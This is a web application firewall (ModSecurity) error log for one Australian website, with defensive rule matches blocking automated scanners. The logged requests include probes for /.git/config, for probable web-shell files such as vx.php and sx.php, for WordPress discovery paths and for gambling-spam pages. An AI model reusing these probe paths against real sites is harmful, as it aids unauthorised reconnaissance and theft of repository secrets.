[Mon Feb 09 05:13:00.346874 2026] [:error] [pid 47938:tid 48001] [client 95.217.109.26:56456] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aYj8XLVCzWE6fQJEkNISYgAAAFY"]
[Mon Feb 09 05:13:02.964981 2026] [:error] [pid 18303:tid 18326] [client 95.217.109.26:56470] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aYj8XkY7TEaZkFrGG4nHhAAAARU"]
[Mon Feb 09 05:13:05.437182 2026] [:error] [pid 47937:tid 47964] [client 95.217.109.26:56482] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aYj8Yc4Fd42MP2DhNrUXDwAAABI"]
[Mon Feb 09 05:13:07.934960 2026] [:error] [pid 48044:tid 48053] [client 95.217.109.26:52052] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aYj8Y5vmvsMP5E03sZLA3AAAAMc"]
[Mon Feb 09 05:13:10.455213 2026] [:error] [pid 47939:tid 48009] [client 95.217.109.26:52064] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aYj8ZtkpZei8M7cJ2z00_wAAAIM"]
[Mon Feb 09 05:13:13.176218 2026] [:error] [pid 47937:tid 47948] [client 95.217.109.26:52070] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aYj8ac4Fd42MP2DhNrUXHAAAAAI"]
[Mon Feb 09 05:13:15.867724 2026] [:error] [pid 47939:tid 48015] [client 95.217.109.26:52074] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aYj8a9kpZei8M7cJ2z01CAAAAIk"]
[Mon Feb 09 05:13:18.381997 2026] [:error] [pid 47939:tid 48009] [client 95.217.109.26:52518] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aYj8btkpZei8M7cJ2z01CgAAAIM"]
[Mon Feb 09 05:13:21.125798 2026] [:error] [pid 47937:tid 47966] [client 95.217.109.26:52528] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aYj8cc4Fd42MP2DhNrUXLQAAABQ"]
[Mon Feb 09 05:13:23.810529 2026] [:error] [pid 47938:tid 47988] [client 95.217.109.26:52536] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aYj8c7VCzWE6fQJEkNISkAAAAEk"]
[Mon Feb 09 05:13:26.310230 2026] [:error] [pid 47939:tid 48006] [client 95.217.109.26:52540] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aYj8dtkpZei8M7cJ2z01FwAAAIA"]
[Mon Feb 09 05:13:29.010006 2026] [:error] [pid 47939:tid 48024] [client 95.217.109.26:44782] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aYj8edkpZei8M7cJ2z01GQAAAJI"]
[Mon Feb 09 05:13:31.517682 2026] [:error] [pid 18303:tid 18322] [client 95.217.109.26:44796] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aYj8e0Y7TEaZkFrGG4nHsgAAARE"]
[Mon Feb 09 05:13:34.036512 2026] [:error] [pid 47939:tid 48007] [client 95.217.109.26:44808] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aYj8ftkpZei8M7cJ2z01HwAAAIE"]
[Mon Feb 09 05:13:36.528820 2026] [:error] [pid 47937:tid 47956] [client 95.217.109.26:44816] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aYj8gM4Fd42MP2DhNrUXRAAAAAo"]
[Mon Feb 09 05:13:39.143777 2026] [:error] [pid 47937:tid 47964] [client 95.217.109.26:49834] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aYj8g84Fd42MP2DhNrUXRgAAABI"]
[Mon Feb 09 05:13:41.755698 2026] [:error] [pid 47938:tid 47994] [client 95.217.109.26:49838] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aYj8hbVCzWE6fQJEkNISqQAAAE8"]
[Mon Feb 09 05:58:29.875865 2026] [:error] [pid 47938:tid 47995] [client 34.82.223.73:54822] [client 34.82.223.73] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aYkHBbVCzWE6fQJEkNIlWAAAAFA"]
[Mon Feb 09 06:04:23.232444 2026] [:error] [pid 47938:tid 47987] [client 195.178.110.223:58944] [client 195.178.110.223] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aYkIZ7VCzWE6fQJEkNInxQAAAEg"]
[Mon Feb 09 06:33:01.710432 2026] [:error] [pid 47938:tid 47984] [client 195.178.110.223:45210] [client 195.178.110.223] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aYkPHbVCzWE6fQJEkNIy1wAAAEU"]
[Mon Feb 09 07:52:32.027750 2026] [:error] [pid 60619:tid 60653] [client 20.48.253.154:32477] [client 20.48.253.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aYkhwHEpg0UoeR8kJ-1xnAAAAkk"]
[Mon Feb 09 07:52:32.461115 2026] [:error] [pid 47938:tid 47990] [client 20.48.253.154:32420] [client 20.48.253.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aYkhwLVCzWE6fQJEkNJLnwAAAEs"]
[Mon Feb 09 07:52:32.886331 2026] [:error] [pid 60676:tid 60697] [client 20.48.253.154:46732] [client 20.48.253.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aYkhwHhKcn7mJYMx5_AZ3wAAAo0"]
[Mon Feb 09 07:52:33.303292 2026] [:error] [pid 60619:tid 60668] [client 20.48.253.154:27449] [client 20.48.253.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aYkhwXEpg0UoeR8kJ-1xnwAAAlI"]
[Mon Feb 09 07:52:33.718829 2026] [:error] [pid 47937:tid 47961] [client 20.48.253.154:41751] [client 20.48.253.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sx.php"] [unique_id "aYkhwc4Fd42MP2DhNrVPGgAAAA8"]
[Mon Feb 09 07:52:34.146127 2026] [:error] [pid 60508:tid 60519] [client 20.48.253.154:46742] [client 20.48.253.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sx.php"] [unique_id "aYkhwuXDvLC4ADfnEzMiDQAAAYk"]
[Mon Feb 09 07:52:34.557668 2026] [:error] [pid 47937:tid 47970] [client 20.48.253.154:46733] [client 20.48.253.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sx.php"] [unique_id "aYkhws4Fd42MP2DhNrVPGwAAABg"]
[Mon Feb 09 07:52:34.986651 2026] [:error] [pid 47938:tid 47988] [client 20.48.253.154:64502] [client 20.48.253.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sx.php"] [unique_id "aYkhwrVCzWE6fQJEkNJLoQAAAEk"]
[Mon Feb 09 10:57:22.511103 2026] [:error] [pid 60508:tid 60516] [client 43.157.150.69:52068] [client 43.157.150.69] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aYlNEuXDvLC4ADfnEzNWRAAAAYY"]
[Mon Feb 09 13:21:48.382270 2026] [:error] [pid 60508:tid 60530] [client 145.239.65.175:50614] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aYlu7OXDvLC4ADfnEzN10gAAAZQ"]
[Mon Feb 09 13:21:50.955890 2026] [:error] [pid 18303:tid 18315] [client 145.239.65.175:38278] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aYlu7kY7TEaZkFrGG4lUEwAAAQo"]
[Mon Feb 09 13:21:53.414832 2026] [:error] [pid 60676:tid 60698] [client 145.239.65.175:38294] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aYlu8XhKcn7mJYMx5_BbLAAAAo4"]
[Mon Feb 09 13:21:55.991705 2026] [:error] [pid 60508:tid 60527] [client 145.239.65.175:49442] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aYlu8-XDvLC4ADfnEzN13QAAAZE"]
[Mon Feb 09 13:21:58.403799 2026] [:error] [pid 60677:tid 60722] [client 145.239.65.175:49444] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aYlu9lyBgzfmDf6Gaes47wAAAso"]
[Mon Feb 09 13:22:00.816964 2026] [:error] [pid 60679:tid 60748] [client 145.239.65.175:49456] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aYlu-MixhoT1e6Iv6g-ZLgAAA0o"]
[Mon Feb 09 13:22:03.375452 2026] [:error] [pid 60589:tid 60608] [client 145.239.65.175:49464] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aYlu-zIJyhPWC0JyMLwtJQAAAdE"]
[Mon Feb 09 13:22:05.956565 2026] [:error] [pid 60677:tid 60762] [client 145.239.65.175:38508] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aYlu_VyBgzfmDf6Gaes4-wAAAtQ"]
[Mon Feb 09 13:22:08.506121 2026] [:error] [pid 60677:tid 60731] [client 145.239.65.175:38516] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "aYlvAFyBgzfmDf6Gaes5AQAAAsw"]
[Mon Feb 09 13:22:10.893949 2026] [:error] [pid 47938:tid 47981] [client 145.239.65.175:38530] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aYlvArVCzWE6fQJEkNKz_wAAAEI"]
[Mon Feb 09 13:22:13.420612 2026] [:error] [pid 60679:tid 60775] [client 145.239.65.175:38538] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aYlvBcixhoT1e6Iv6g-ZOAAAA1U"]
[Mon Feb 09 13:22:15.794175 2026] [:error] [pid 60677:tid 60714] [client 145.239.65.175:53482] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aYlvB1yBgzfmDf6Gaes5FgAAAsM"]
[Mon Feb 09 13:22:18.321742 2026] [:error] [pid 60676:tid 60688] [client 145.239.65.175:53490] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aYlvCnhKcn7mJYMx5_BbPQAAAoQ"]
[Mon Feb 09 13:22:20.694928 2026] [:error] [pid 60677:tid 60762] [client 145.239.65.175:53506] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aYlvDFyBgzfmDf6Gaes5HwAAAtQ"]
[Mon Feb 09 13:22:23.218198 2026] [:error] [pid 60589:tid 60595] [client 145.239.65.175:53520] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aYlvDzIJyhPWC0JyMLwtMwAAAcQ"]
[Mon Feb 09 13:22:25.601107 2026] [:error] [pid 18303:tid 18312] [client 145.239.65.175:59396] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aYlvEUY7TEaZkFrGG4lUKwAAAQc"]
[Mon Feb 09 13:22:28.146282 2026] [:error] [pid 60679:tid 60728] [client 145.239.65.175:59402] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aYlvFMixhoT1e6Iv6g-ZPgAAA0A"]
[Mon Feb 09 13:22:30.523055 2026] [:error] [pid 60676:tid 60708] [client 145.239.65.175:59418] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aYlvFnhKcn7mJYMx5_BbQQAAApg"]
[Mon Feb 09 13:22:32.912196 2026] [:error] [pid 60677:tid 60718] [client 145.239.65.175:59422] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aYlvGFyBgzfmDf6Gaes5UgAAAsc"]
[Mon Feb 09 14:36:03.500257 2026] [:error] [pid 60676:tid 60702] [client 101.109.41.163:64513] [client 101.109.41.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 101.109.41.163, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aYmAU3hKcn7mJYMx5_BpfQAAApI"]
[Mon Feb 09 14:36:05.786023 2026] [:error] [pid 60676:tid 60698] [client 101.109.41.163:64513] [client 101.109.41.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "aYmAVXhKcn7mJYMx5_BpgwAAAo4"]
[Mon Feb 09 14:36:07.231868 2026] [:error] [pid 60619:tid 60642] [client 101.109.41.163:50160] [client 101.109.41.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "aYmAV3Epg0UoeR8kJ-3t-QAAAkI"]
[Mon Feb 09 14:36:08.695532 2026] [:error] [pid 60678:tid 60783] [client 101.109.41.163:51595] [client 101.109.41.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2020/wp-includes/wlwmanifest.xml"] [unique_id "aYmAWO8Gd_fDFrcNu4N3oQAAAxQ"]
[Mon Feb 09 14:36:10.143228 2026] [:error] [pid 60619:tid 60668] [client 101.109.41.163:52913] [client 101.109.41.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "aYmAWnEpg0UoeR8kJ-3t-wAAAlI"]
[Mon Feb 09 14:36:11.585843 2026] [:error] [pid 47938:tid 47989] [client 101.109.41.163:53989] [client 101.109.41.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "aYmAW7VCzWE6fQJEkNLNjwAAAEo"]
